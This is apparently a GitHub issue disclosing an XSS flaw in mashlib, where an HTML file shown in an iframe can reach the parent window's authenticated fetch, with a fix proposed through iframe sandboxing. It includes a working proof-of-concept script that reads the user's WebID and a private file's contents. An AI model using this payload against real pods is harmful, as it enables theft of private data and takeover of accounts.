Skip to content

IFrame can access mashlibs window causing XSS #372

@Otto-AA

Description

@Otto-AA

Summary

When a user opens a html file with mashlib, this file can access the window of mashlib and thus among other things the authenticated fetch at UI.authn.session.fetch.

Reproducing

Steps to reproduce (on NSS):

  1. open yourpod.solidcommunity.net
  2. login (required precondition for the exploit to work)
  3. create a file test.html at any location (in a real exploit the attacker with append/write permissions would create this)
  4. Write the html below into the file. Change the url with a private file
  5. Display the html with mashlib (click on the "d" symbol)
  6. Observe one alert with your webid and one with the file contents
<script>
  const main = async () => {
    mashlibWindow = window.parent;
    alert('Logged in as ' + await mashlibWindow.UI.authn.checkUser())
    res = await mashlibWindow.UI.authn.session.fetch('https://yourpod.solidcommunity.net/private/secret.txt')
    alert('Secret: ' + await res.text())
  }
  main()
</script>

For CSS, the steps are similar, however I think the test.html file would need to be publicly readable to be loaded in the iframe. In NSS this is not necessary because it also uses cookies.

Impact

Opening a malicious html file can result in the attacker gaining control over the whole pod.

Fix

Use an iframe with the sandbox attribute which may not include allow-same-origin. See for instance this article on sandboxing: https://web.dev/sandboxed-iframes/

This would also be fixed, if pods don't serve or sandbox html files (see https://forum.solidproject.org/t/is-it-secure-for-pods-to-serve-html-files/6379/2)
EDIT: after looking at the code, I don't think it matters if pods sandbox the html, as they are not directly included with <iframe src=".../test.html"> but fetched manually and then added as a blob.
EDIT 2: it's more complicated than I thought, SolidOS has 3 different ways of creating iframes. See here for a small discussion)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    Status

    No status

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions